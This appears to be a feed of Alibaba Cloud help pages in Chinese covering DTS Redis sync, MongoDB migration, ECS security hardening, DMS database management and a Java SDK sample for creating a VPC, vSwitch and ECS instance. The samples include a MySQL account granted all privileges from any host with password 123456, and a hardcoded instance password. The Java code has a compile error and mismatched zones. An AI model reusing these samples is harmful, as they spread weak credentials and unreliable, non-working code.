        说明 目标Redis实例支持的版本为4.0或5.0版本,如需跨版本同步(仅支持从低版本同步到高版本)请提前确认兼容性。例如创建按量付费的Redis实例来测试,测试完成后可将该实例释放或转为包年包月。

      • 目标Redis实例的存储空间需大于源Redis数据库已使用的存储空间。
      • 当源Redis数据库为集群架构时,集群的每个节点必须能够执行psync命令,且连接的密码一致。

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的资源,可能会导致数据库服务器负载上升。如果数据库业务量较大或服务器规格较低,可能会加重数据库压力,甚至导致数据库服务不可用。建议您在执行数据同步前谨慎评估,在业务低峰期执行数据同步。
      • 如果在源数据库的配置文件redis.conf中配置了bind参数,请将该参数的值设置为ECS的内网IP地址以保障DTS可以正常连接源数据库。
      • 为保障同步链路稳定性,建议将源Redis数据库的配置文件redis.confrepl-backlog-size参数的值适当调大。
      • 为保障同步质量,DTS会在源Redis数据库中插入一个key:DTS_REDIS_TIMESTAMP_HEARTBEAT,用于记录更新时间点。
      • 如果配置Redis集群间的数据同步,请勿在源集群中执行FLUSHDBFLUSHALL命令,否则将导致源和目标的数据不一致。
      • 如果目标库的数据逐出策略(maxmemory-policy)配置为noeviction以外的值,可能导致目标库的数据与源库不一致。关于数据逐出策略详情,请参见Redis数据逐出策略介绍

      支持的同步拓扑

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步

      关于各类同步拓扑的介绍及注意事项,请参见数据同步拓扑介绍

      支持的同步命令

      • APPEND
      • BITOP、BLPOP、BRPOP、BRPOPLPUSH
      • DECR、DECRBY、DEL
      • EVAL、EVALSHA、EXEC、EXPIRE、EXPIREAT
      • GEOADD、GETSET
      • HDEL、HINCRBY、HINCRBYFLOAT、HMSET、HSET、HSETNX
      • INCR、INCRBY、INCRBYFLOAT
      • LINSERT、LPOP、LPUSH、LPUSHX、LREM、LSET、LTRIM
      • MOVE、MSET、MSETNX、MULTI
      • PERSIST、PEXPIRE、PEXPIREAT、PFADD、PFMERGE、PSETEX、PUBLISH
      • RENAME、RENAMENX、RESTORE、RPOP、RPOPLPUSH、RPUSH、RPUSHX
      • SADD、SDIFFSTORE、SELECT、SET、SETBIT、SETEX、SETNX、SETRANGE、SINTERSTORE、SMOVE、SPOP、SREM、SUNIONSTORE
      • ZADD、ZINCRBY、ZINTERSTORE、ZREM、ZREMRANGEBYLEX、ZUNIONSTORE、ZREMRANGEBYRANK、ZREMRANGEBYSCORE
      • SWAPDB、UNLINK(仅当源端Redis集群的版本为4.0时支持)

      说明

      • 对于通过EVAL或者EVALSHA调用Lua脚本,在增量数据同步时,由于目标端在执行脚本时不会明确返回执行结果,DTS无法确保该类型脚本能够执行成功。
      • 对于List,由于DTS在调用sync或psync进行重传时,不会对目标端已有的数据进行清空,可能导致出现重复数据。

      操作步骤

      1. 购买数据同步实例,详情请参见购买数据同步作业

        说明 购买时,源实例和目标实例均选择为Redis

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。选择地域
      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置数据同步的源实例及目标实例信息。同步源目实例信息配置
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域信息,不可变更。
        ECS实例ID 选择作为同步数据源的ECS实例ID。

        说明 当源Redis数据库为集群架构时,选择任一节点的Master所在的ECS实例ID。

        数据库类型 固定为Redis
        实例模式 根据源Redis数据库的架构选择单机版集群版
        端口 填入源Redis数据库的服务端口,默认为6379,本案例填入7000

        说明 当源Redis数据库为集群架构时,填入任一节点的Master的服务端口。

        数据库密码 填入连接源Redis数据库的密码。

        说明 非必填项,如果没有设置密码可以不填。

        目标实例信息 实例类型 选择Redis实例
        实例地区 购买数据同步实例时选择的目标实例地域信息,不可变更。
        实例ID 选择目标Redis实例ID。
        数据库密码 填入连接目标Redis实例的密码。

        说明 数据库密码格式为<user>:<password>。例如,Redis实例自定义的用户名为admin,密码为Rp829dlwa,则此处填入的数据库密码为admin:Rp829dlwa。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址,自动添加到源ECS实例的内网入方向规则和目标Redis实例的白名单中,用于保障DTS服务器能够正常连接源ECS实例和目标Redis实例。

      8. 配置目标已存在表的处理模式和同步对象。配置处理模式和同步对象
        配置 说明
        目标已存在表的处理模式
        • 预检查并报错拦截:检查目标库是否为空。如果待同步的目标库为空,则通过该检查项目;如果不为空,则在预检查阶段提示错误,数据同步作业不会被启动。
        • 忽略报错并继续执行:跳过目标库是否为空的检查项。

          警告 选择为忽略报错并继续执行后,如果在同步过程中遇到目标库中的Key与源库中的Key相同,会将源库的数据覆盖写入目标库中,请谨慎选择。

        同步对象
        • 源库对象框中单击待同步的数据库,然后单击将其移动到已选择对象框。
        • 同步对象的选择粒度为库,暂不支持Key粒度的选择。
      9. 上述配置完成后单击页面右下角的下一步
      10. 配置同步初始化选项,当前固定为包含全量数据+增量数据

        说明 DTS会将源Redis数据库中的存量数据同步至目标Redis数据库中,并同步增量数据。

        Redis同步初始化
      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。数据同步状态

        说明 您可以在数据同步页面,查看数据同步作业的状态。

      ]]> 购买ECS机器_机器资源管理_持续交付流水线(老版)_使用指南_云效-阿里云 Fri, 02 May 2025 09:39:04 +0800 购买ECS机器

      更新时间:2019-11-05 11:06:12

      本页目录

      概述

      云效为用户提供购买阿里云云服务器ECS功能,在使用之前,请确保先完成配置授权云效配置ECS模板。在购买ECS完成后,云效自动启动ECS,并安装agent,直接加入到企业的机器管理列表中。

      企业管理员,点击右上角设置,进入“企业设置”页面,点击左侧“主机管理”,然后点击“购买机器”购买ECS。

      购买机器

      购买成功后,会弹出云服务器ECS启动流程。ECS启动流程

      更多关于ECS的操作,请参考ECS的帮助文档:https://help.aliyun.com/product/25365.html?spm=a2c4g.750001.list.2.1dd87b13D2T3Xs

      ]]> 目标ECS的工作空间下没有目标文件_常见问题列表_常见问题_CodePipeline-阿里云 Fri, 02 May 2025 09:39:04 +0800 目标ECS的工作空间下没有目标文件

      更新时间:2018-06-11 10:18:10

      本页目录

      目标ECS的工作空间下没有目标文件

      目标ECS的工作空间下没有要部署的目标文件,是因为配置oss上传没有填写正确的路径。 ECS部署是完成从构建节点把构建物上传到用户私有oss bukcet空间(中转),再下载oss上的构建物至目标ECS的过程。如何找到正确的目标文件上传路径?

      例如:新建项目 deploy-ecs-demo ,配置的源码管理为 https://code.aliyun.com/CodePipeline/java-demo.git , 构建命令为 mvn package -B -DskipTests, 则在CodePipeline的构建节点上,项目 deploy-ecs-demo 的默认workspace为 /home/jenkins/workspace/deploy-ecs-demo, CodePipeline的所有构建命令都是在这个workspace下运行的,生成的war包路径为target/demo.war, 则配置 上传构建物至OSS 时, 我们只需要填写 target/demo.war , 后台在上传构建物时会自动拼接成绝对路径 /home/jenkins/workspace/deploy-ecs-demo/target/demo.war 对文件进行上传操作。

      也可以在构建命令运行完成后使用find命令帮助找到目标构建物的正确路径, 如 find ./ -name demo.war , 会输出 ./target/demo.war, 则需要配置的路径为 target/demo.war

      ]]> ECS安全部署方法_云环境安全最佳实践_安全部署指南_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS安全部署方法

      更新时间:2017-10-24 13:54:40

      本页目录

      操作系统安全加固

      1. 重置ECS实例。
        注意:强烈建议您重置ECS实例前,备份您的数据。ECS实例重置完成后,对数据进行杀毒后再上传至ECS实例。

        1. 登录ECS管理控制台,单击实例
        2. 选择您的ECS实例,在更多下拉菜单中单击停止(如果您的实例当前为启动状态)。
        3. 实例停止后,在更多下拉菜单中单击重新初始化磁盘
        4. 重新初始化磁盘完成后,操作系统将恢复回新购时的状态。new
      2. 主机登录安全设置。

        1. 建议修改默认的登录端口(RDP、SSH)为其它端口。
        2. 建议使用证书登录,设置可信登录主机的IP。
        3. 如果您需要使用密码登录,请务必使用复杂密码(字母+数字+特殊符号,包含大小写,并保证10位及以上字符)。
        4. 登录用户的权限使用普通用户权限,需要管理员权限时再进行提权。(Windows使用runas,linux使用sudo)

      更多操作系统加固方法,请查看:

      应用服务软件安全部署

      常见Web应用安全部署设置

      1. WDCP、TOMCAT、Apache、Nginx、Jekins、PHPMyAdmin、WebLogic、Jboss等Web服务管理后台不要使用默认密码或空密码,务必使用复杂密码(字母+数字+特殊符号,包含大小写,并保证10位及以上字符);不使用的管理后台建议直接关闭,否则黑客有可能直接控制您的ECS服务器。

      2. 保证Web应用升级到最新版本,如Struts、ElasticSearch非最新版都爆发过远程命令执行漏洞。务必及时更新Web应用版本,否则黑客有可能直接控制您的ECS服务器。

      3. Redis、Memcached、MongoDB如设置无密码访问,可导致黑客直接远程登录并控制您的服务器。请务必设置为有密码访问,并使用复杂密码。另外,建议修改端口并设置绑定监听IP为127.0.0.1。

      常见数据库应用安全部署设置

      • Postgresql、Oracle、MySQL、SQLServer等默认连接端口建议修改为非常用端口。

      • 根据不同的角色创建不同的账号,并精细化授权。切忌共享使用账号或使用系统账号登录数据库。

      • 数据库连接密码使用复杂密码(字母+数字+特殊符号,包含大小写,并保证10位及以上字符)。

      其它

      • 请及时升级各种应用,以免安全漏洞被黑客利用入侵服务器。
      • 安装云盾安全防护软件,做好杀毒防护工作。

      ]]> 将ECS上单节点或副本集架构的自建MongoDB迁移上云_数据迁移/同步_用户指南_云数据库 MongoDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 将ECS上单节点或副本集架构的自建MongoDB迁移上云

      更新时间:2020-05-12 10:17:21

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍如何使用数据传输服务DTS(Data Transmission Service),将ECS上的单节点或副本集架构的自建MongoDB数据迁移至阿里云MongoDB实例中。通过DTS的增量迁移功能,可以实现在应用不停服的情况下,平滑完成数据库的迁移。

      前提条件

      • 自建MongoDB数据库版本为3.0、3.2、3.4、3.6或4.0版本。
      • 阿里云MongoDB实例的存储空间须大于自建数据库占用的存储空间。

      注意事项

      • 为避免影响您的正常业务使用,请在业务低峰期进行数据迁移。
      • config数据库属于系统内部数据库,如无特殊需求,请勿迁移该库。
      • MongoDB实例支持的版本与存储引擎请参见版本及存储引擎,如需跨版本或跨引擎迁移,请提前确认兼容性。

      费用说明

      迁移类型 链路配置费用 公网流量费用
      全量数据迁移 不收取 不收取
      增量数据迁移 收取,费用详情请参见数据传输服务DTS定价 不收取

      迁移类型说明

      • 全量数据迁移:将源MongoDB数据库迁移对象的存量数据全部迁移到目标MongoDB数据库中。

        说明 支持database、collection、index的迁移。

      • 增量数据迁移:在全量迁移的基础上,将源MongoDB数据库的增量更新数据同步到目标MongoDB数据库中。

        说明

        • 支持database、collection、index的新建和删除操作的同步。
        • 支持document的新增、删除和更新操作的同步。

      数据库账号的权限要求

      迁移数据源 全量数据迁移 增量数据迁移
      ECS上的自建MongoDB数据库 待迁移库的read权限 待迁移库、admin库和local库的read权限
      阿里云MongoDB实例 目标库的readWrite权限 目标库的readWrite权限

      数据库账号创建及授权方法:

      迁移前准备工作

      如果ECS上的自建数据库为副本集架构,您可跳过本步骤。

      当ECS上的自建数据库为单节点架构,且需要进行增量数据迁移时,您需要开启源数据库的oplog,详情请参见单节点架构的数据库迁移前准备工作

      操作步骤

      1. 登录数据传输控制台
      2. 在左侧导航栏,单击数据迁移
      3. 迁移任务列表页面顶部,选择阿里云MongoDB实例所属的地域。
      4. 单击右上角的创建迁移任务
      5. 配置迁移任务的源库及目标库信息。
        类别 配置 说明
        任务名称 -
        • DTS为每个任务自动生成一个任务名称,该名称没有唯一性要求。
        • 您可以修改任务名称,建议为任务配置具有业务意义的名称,便于后续的识别。
        源库信息 实例类型 选择ECS上的自建数据库
        实例地区 选择ECS实例所属的地域。
        ECS实例ID 选择自建MongoDB数据库所属的ECS实例ID。
        数据库类型 选择MongoDB
        端口 填入自建MongoDB数据库的服务端口。
        数据库名称 填入鉴权数据库名称。
        数据库账号 填入自建MongoDB数据库的连接账号,权限要求请参见数据库账号的权限要求
        数据库密码 填入自建MongoDB数据库账号对应的密码。

        说明 源库信息填写完毕后,您可以单击数据库密码后的测试连接来验证填入的源库信息是否正确。源库信息填写正确则提示测试通过。如提示测试失败,单击测试失败后的诊断,根据提示调整填写的源库信息。

        目标库信息 实例类型 选择MongoDB实例
        实例地区 选择目标MongoDB实例所在地域。
        MongoDB实例ID 选择目标MongoDB实例ID。
        数据库名称 填入鉴权数据库名称。
        数据库账号 填入连接目标MongoDB实例的数据库账号,权限要求请参见数据库账号的权限要求
        数据库密码 填入连接目标MongoDB实例的数据库账号对应的密码。

        说明 目标库信息填写完毕后,您可以单击数据库密码后的测试连接来验证填入的目标库信息是否正确。目标库信息填写正确则提示测试通过。如提示测试失败,单击测试失败后的诊断,根据提示调整填写的目标库信息。

      6. 配置完成后,单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址自动添加到源ECS实例的内网入方向规则和目标MongoDB实例的白名单中,用于保障DTS服务器能够正常连接源和目标数据库。迁移完成后如不再需要可手动删除,详情请参见管理安全组规则白名单设置

      7. 选择迁移对象及迁移类型。MongoDB迁移对象迁移类型选择
        配置 说明
        迁移类型
        • 如果只需要进行全量迁移,则勾选全量数据迁移

          说明 为保障数据一致性,全量数据迁移期间请勿在自建MongoDB数据库中写入新的数据。

        • 如果需要进行不停机迁移,则同时选择全量数据迁移增量数据迁移

          说明 单节点架构的自建MongoDB数据库,须提前开启oplog才可以使用增量数据迁移功能,详情请参见迁移前准备工作

        迁移对象
        • 迁移对象框中单击待迁移的对象,然后单击将其移动到已选择对象框。

          说明

          • 不支持迁移admin和local数据库。
          • config数据库属于系统内部数据库,如无特殊需求,请勿迁移config数据库。

        • 迁移对象选择的粒度为database、collection/function。
        • 默认情况下,迁移完成后,迁移对象的名称保持不变。如果您需要迁移对象在目标数据库中的名称不同,那么需要使用DTS提供的对象名映射功能。使用方法请参见库表列映射
      8. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在迁移任务正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动迁移任务。
        • 如果预检查失败,单击具体检查项后的提示,查看失败详情。根据提示修复后,重新进行预检查。

      9. 预检查通过后,单击下一步
      10. 购买配置确认页面,选择链路规格并勾选数据传输(按量付费)服务条款
      11. 单击购买并启动,迁移任务正式开始。
        • 全量数据迁移

          请勿手动结束迁移任务,否则可能会导致数据不完整。您只需等待迁移任务完成即可,迁移任务会自动结束。

        • 增量数据迁移

          迁移任务不会自动结束,需要手动结束迁移任务。

          说明 请选择合适的时间手动结束迁移任务,例如业务低峰期或准备将业务切换至MongoDB实例时。

          1. 观察迁移任务的进度变更为增量迁移,并显示为无延迟状态时,将源库停写几分钟,此时增量迁移的状态可能会显示延迟的时间。
          2. 等待迁移任务的增量迁移再次进入无延迟状态,手动结束迁移任务。增量迁移无延迟
      12. 将业务切换至阿里云MongoDB实例。

      ]]> 通过指定ECS规格创建ECI Pod_ECI Pod管理_Serverless Kubernetes集群用户指南_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过指定ECS规格创建ECI Pod

      更新时间:2020-05-13 19:58:55

      本页目录

      在某些业务场景下,存在着特殊的规格需求,例如:GPU、增强的网络能力、高主频、本地盘等。ECI支持通过指定ECS规格进行创建。本文介绍如何通过指定ECS规格创建ECI Pod。

      规格说明

      ECI指定规格完全参考ECS规格定义。ECI单价与对应规格的ECS价格保持一致,按秒计费。详情请参见ECS价格计算器

      您可以通过ECS 实例规格可购买地域总览,查询每个地域和可用区具体支持的ECS规格信息。目前支持的实例规格族如下所示。

      • 通用型(1:4)实例规格族 g6、g5、sn2ne(网络增强)
      • 计算型(1:2)实例规格族 c6、c5、sn1ne(网络增强)
      • 内存型(1:8)实例规格族 r6、r5、se1ne(网络增强)
      • 密集计算型(1:1)实例规格族 ic5
      • 高主频计算型(1:2)实例规格族 hfc6、hfc5
      • 高主频通用型(1:4)实例规格族 hfg6、hfg5
      • GPU计算型实例规格族gn6i、gn6v、gn5i、gn5(不支持本地存储)
      • 突发性能实例规格族 t6、t5

      使用示例

      通过在Pod定义中设置annotations: k8s.aliyun.com/eci-use-specs,可以配置多个规格,以逗号分割。

      apiVersion: apps/v1beta2
      kind: Deployment
      metadata:
        name: nginx
        labels:
          app: nginx
      spec:
        replicas: 2
        selector:
          matchLabels:
            app: nginx
        template:
          metadata:
            labels:
              app: nginx
            annotations:
              k8s.aliyun.com/eci-use-specs : "ecs.c5.large"  #根据需要替换 ECS 规格
          spec:
            containers:
            - name: nginx
              image: nginx:1.7.9
              ports:
              - containerPort: 80

      ]]> 如何备份无公网的专有网络ECS实例_最佳实践_混合云备份服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 如何备份无公网的专有网络ECS实例

      更新时间:2019-10-18 09:57:04

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      北京、上海、杭州、深圳地域中的ECS实例可以直接使用ECS备份功能进行备份。对于不支持ECS备份功能的地域,当多台ECS实例在同一个VPC网络中,且无公网时,可以通过搭建NAT网关来访问混合云备份控制台并安装本地备份客户端。在混合云备份控制台配置本地备份客户端时,您可以根据ECS实例类型选择备份时使用的网络类型。本文主要为您介绍如何搭建NAT网关。

      操作步骤

      1. 登录云服务器ECS控制台界面,查看ECS实例详情。
      2. 配置信息栏中查看专有网络VPC。
      3. 登录NAT网关控制台界面,单击创建NAT网关
      4. 根据ECS的信息选择地域、VPC ID、规格、计费周期默认为按天。然后购买并开通NAT网关。
      5. 开通成功后,进入NAT网关控制台,配置NAT网关。
      6. 选择创建的NAT网关,单击更多操作 > 绑定弹性公网IP
      7. 选择弹性公网IP和交换机,单击确定即可绑定。

        说明 若没有弹性公网IP,可先进行申请。

      8. 系统会自动创建一个默认的SNAT表,您可以查看相关信息。
      9. NAT网关创建完成后,即可在备份ECS时选择VPC网络。

      ]]> 管理ECS实例自建数据库_在ECS上部署数据库_搭建应用_建站教程_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 管理ECS实例自建数据库

      更新时间:2020-05-25 17:54:42

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ECS实例自建数据库,是指在ECS实例上安装并配置的数据库。您可以使用数据管理服务DMS来管理ECS实例自建数据库。本文以MySQL为例,介绍如何使用DMS添加并管理ECS实例自建数据库。

      前提条件

      1. 开通数据管理服务,详情请参见开通数据管理服务
      2. 创建ECS实例,实例规格选用内存型r系列规格族。具体步骤,请参见使用向导创建实例
      3. 在ECS实例安全组的入方向添加规则,放行MySQL监听的端口号。MySQL默认监听的端口号为3306。
      4. 在ECS实例上安装MySQL数据库,具体步骤请参见数据库概述
      5. 为ECS实例上的MySQL数据库创建非root账号。

        说明 MySQL默认情况下不允许root账号远程登录。若您已设置允许root账号远程登录,可跳过此步骤。

        本示例中,请运行以下命令为MySQL数据库创建名为dms、密码为123456的账号。

        grant all on *.* to 'dms'@'%'IDENTIFIED BY '123456';

      背景信息

      数据管理服务DMS(Data Management Service)是由阿里云提供的数据库管理Web终端,为您管理Windows系统和Linux系统下的ECS实例自建数据库。您只需在数据管理控制台上添加实例自建数据库即可使用数据管理功能,如新建数据库、新建表等。DMS支持的自建数据库类型有MySQL、SQLServer、PostgreSQL、MongoDB、Redis。更多详情,请参见DMS产品文档

      操作步骤

      1. 登录数据管理控制台
      2. 在左侧导航栏中,单击自建库(ECS、公网)
      3. 单击新建数据库
      4. 配置自建数据库信息。

        参数解释如下表所示。

        参数 描述
        数据库类型 ECS实例自建数据库的类型。本示例中选择MySQL
        实例来源 ECS自建。
        地域 ECS实例所在地域。
        ECS实例ID ECS实例ID。
        端口 ECS实例数据库监听的端口号。本示例中MySQL的端口号配置为3306
        数据库用户名 ECS实例自建数据库的账号。本示例中MySQL的账号为dms

        说明 建议您使用非root账号。

        数据库密码 ECS自建数据库账号对应的密码。本示例中,dms的密码为123456

      5. 单击登录

      后续步骤

      登录成功后,进入数据管理页面。通过数据管理页面的顶部导航栏菜单,您可以对数据库进行下列操作:

      • 创建:创建数据库、表、数据库用户、存储过程、函数、视图、触发器、事件。详细信息,请参见数据库开发
      • SQL操作:进入SQL操作界面,执行数据库的各种增删改查命令,包含执行结果集的快捷编辑与变更的提交。详细信息,请参见SQL操作
      • 数据方案:导入导出数据、自动生成测试数据、数据库克隆、表结构对比、数据追踪、数据备份、数据恢复等操作。详细信息,请参见数据管理
      • 实例管理:管理数据库的binlog日志文件、表数据量的统计。
      • 监控告警、诊断优化:通过页面导航栏的性能菜单入口,管理数据库的一键诊断、慢SQL分析、空间诊断、实例会话管理、实时性能、诊断报告等信息。详细信息,请参见数据库性能
      • 工具:数据库管理、用户管理、E-R图、批量操作表、生成文档(Word、Excel、PDF)。详细信息,请参见扩展工具

      ]]> 创建ECS实例(包含创建VPC、交换机)_云服务器ECS_调用示例_Java SDK-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建ECS实例(包含创建VPC、交换机)

      更新时间:2019-11-12 16:31:43

      本页目录

      本教程详细介绍如何使用 Alibaba Cloud SDK for Java,从创建专有网络VPC开始到成功创建云服务器ECS实例。

      前提条件

      在使用本教程之前,请确保已完成以下操作:

      • 使用Alibaba Cloud SDK for Java,您需要一个阿里云账号和访问密钥(AccessKey)。 请在阿里云控制台中的AccessKey管理页面上创建和查看您的AccessKey。
      • 确保您已经安装了Alibaba Cloud SDK for Java,准确的SDK版本号,请参见 阿里云开发工具包(SDK)
        <dependencies>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-core -->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-core</artifactId>
                <version>4.4.3</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-ecs-->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-ecs</artifactId>
                <version>4.17.4</version>
            </dependency>
        </dependencies>

      前提条件

      本教程之前,请确保已完成以下操作:

      • 使用Alibaba Cloud SDK for Java,您需要一个阿里云账号和访问密钥(AccessKey)。 请在阿里云控制台中的AccessKey管理页面上创建和查看您的AccessKey。
      • 确保您已经安装了Alibaba Cloud SDK for Java,准确的SDK版本号,请参见 阿里云开发工具包(SDK)
        <dependencies>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-core -->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-core</artifactId>
                <version>4.4.3</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-ecs-->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-ecs</artifactId>
                <version>4.17.4</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-vpc-->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-vpc</artifactId>
                <version>3.0.6</version>
            </dependency>
        </dependencies>

      代码示例

      本文操作示例主要以代码形式体现,具体代码如下:

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.ecs.model.v20140526.RunInstancesRequest;
      import com.aliyuncs.ecs.model.v20140526.RunInstancesResponse;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.profile.DefaultProfile;
      import com.aliyuncs.vpc.model.v20160428.CreateVSwitchRequest;
      import com.aliyuncs.vpc.model.v20160428.CreateVSwitchResponse;
      import com.aliyuncs.vpc.model.v20160428.CreateVpcRequest;
      import com.aliyuncs.vpc.model.v20160428.CreateVpcResponse;
      import com.google.gson.Gson;
      
      /**
       * CreateVpc    创建一个专有网络(VPC)
       * CreateVSwitch    创建一个交换机
       * RunInstances    创建一台ECS实例
       */
      public class Demo{
      
          public static void main(String[] args) {
              // 初始化公共请求参数
              IAcsClient client = Initialization();
              // 创建一个专有网络(VPC)
              String VPCId = CreateVpc(client);
              Thread.sleep(5000);
              // 创建一个交换机
              String VSwitchId = CreateVSwitch(client, VPCId);
              Thread.sleep(5000);
              // 创建一台ECS实例
              RunInstances(client,VSwitchId);
          }
      
          /**
           * RunInstances    创建一台ECS实例
           */
          private static void RunInstances(IAcsClient client, String vSwitchId) {
              RunInstancesRequest request = new RunInstancesRequest();
              // 镜像文件ID,启动实例时选择的镜像资源。如需使用云市场镜像,您可以在云市场镜像商详情页查看ImageId。
              request.setImageId("centos_7_06_64_20G_alibase_20190711.vhd");
              // 实例的名称。长度为2~128个英文或中文字符。必须以大小字母或中文开头,不能以 http:// 和 https:// 开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。如果没有指定该参数,默认值为实例的InstanceId。
              request.setInstanceName("DOM_ECS_TEST");
              // 实例的资源规格。更多详情,请参见实例规格族,也可以调用DescribeInstanceTypes接口获得最新的规格表。
              request.setInstanceType("ecs.g5.large");
              // 指定新创建实例所属于的安全组ID,同一个安全组内的实例之间可以互相访问。
              request.setSecurityGroupId("sg-uf6h7bxba3d1zelb0619");
              // 网络计费类型。取值范围:
              // PayByBandwidth:按固定带宽计费
              // PayByTraffic(默认):按使用流量计费
              request.setInternetChargeType("PayByBandwidth");
              // 公网入带宽最大值,单位为Mbit/s。取值范围:1~200
              // 默认值:200
              request.setInternetMaxBandwidthIn(100);
              // 公网出带宽最大值,单位为Mbit/s。取值范围:0~100
              // 默认值:0
              request.setInternetMaxBandwidthOut(1);
              // 云服务器的主机名。
              // 点号(.)和短横线(-)不能作为首尾字符,更不能连续使用。
              // Windows实例:字符长度为2~15,不支持点号(.),不能全是数字。允许大小写英文字母、数字和短横线(-)。
              // 其他类型实例(Linux等):字符长度为2~64,支持多个点号(.),点之间为一段,每段允许大小写英文字母、数字和短横线(-)。
              request.setHostName("LocalHost");
              // 实例的密码。长度为8至30个字符,必须同时包含大小写英文字母、数字和特殊符号中的三类字符。特殊符号可以是:
              //          ()`~!@#$%^&*-_+=|{}[]:;'<>,.?/
              // 其中,Windows实例不能以斜线号(/)为密码首字符。
              // 说明 如果传入Password参数,建议您使用HTTPS协议发送请求,避免密码泄露。
              request.setPassword("EcsV587!");
              // 实例所属的可用区ID。更多详情,请参见DescribeZones获取可用区列表。
              // 默认值:空,表示随机选择。
              request.setZoneId("cn-shanghai-f");
              // 实例的付费方式。取值范围:
              // PrePaid:包年包月。选择该类付费方式时,您必须确认自己的账号支持余额支付/信用支付,否则将返回 InvalidPayMethod的错误提示。
              // PostPaid(默认):按量付费。
              request.setInstanceChargeType("PostPaid");
              // 系统盘大小,单位为GiB。取值范围:20~500
              // 该参数的取值必须大于或者等于max{20, ImageSize}。
              // 默认值:max{40, ImageSize}
              request.setSystemDiskSize("40");
              // 系统盘的云盘种类。已停售的实例规格且非I/O优化实例默认值为cloud,否则默认值为cloud_efficiency。取值范围:
              // cloud:普通云盘
              // cloud_efficiency:高效云盘
              // cloud_ssd:SSD云盘
              // ephemeral_ssd:本地SSD盘
              // cloud_essd:ESSD云盘。
              request.setSystemDiskCategory("cloud_ssd");
              // 系统盘名称。长度为2~128个英文或中文字符。必须以大小字母或中文开头,不能以 http:// 和 https:// 开头。可以包含数字、半角冒号(:)、下划线(_)或者连字符(-)。默认值:空。
              request.setSystemDiskDiskName("SystemDisk");
              // 系统盘描述。长度为2~256个英文或中文字符,不能以 http:// 和 https:// 开头。默认值:空。
              request.setSystemDiskDescription("SystemDisk_test");
              // 实例的描述。长度为2~256个英文或中文字符,不能以 http:// 和 https:// 开头。默认值:空。
              request.setDescription("测试中.....");
              // 如果是创建VPC类型的实例,需要指定虚拟交换机ID。
              request.setVSwitchId(vSwitchId);
              try {
                  RunInstancesResponse response = client.getAcsResponse(request);
                  System.out.println("--------------------ECS实例创建成功--------------------");
                  System.out.println(new Gson().toJson(response));
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
                  throw new RuntimeException();
              }
          }
      
          /**
           * CreateVSwitch    创建一个交换机
           */
          private static String CreateVSwitch(IAcsClient client, String vpcId) {
              CreateVSwitchRequest request = new CreateVSwitchRequest();
              // 交换机所属的VPC ID。
              request.setVpcId(vpcId);
              // 交换机的网段。交换机网段要求如下:
              // 交换机网段的掩码长度范围为16-29位
              // 交换机的网段必须从属于所在VPC的网段
              // 交换机的网段不能与所在VPC中路由条目的目标网段相同,但可以是目标网段的子集
              // 如果交换机的网段与所在VPC的网段相同时,VPC只能有一个交换机
              request.setCidrBlock("192.168.0.0/16");
              // 交换机所属区的ID。 您可以通过调用DescribeZones接口获取地域ID
              request.setZoneId("cn-shanghai-b");
              // 交换机的描述信息
              // 长度为 2-256个字符,必须以字母或中文开头,但不能以http:// 或https://开头
              request.setDescription("DOCTestlalala");
              // 交换机的名称。
              // 长度为 2-128个字符,必须以字母或中文开头,但不能以http:// 或https://开头。
              request.setVSwitchName("DOCTest");
              try {
                  CreateVSwitchResponse response = client.getAcsResponse(request);
                  System.out.println("--------------------交换机创建成功--------------------");
                  System.out.println(new Gson().toJson(response));
                  return response.getVSwitchId();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
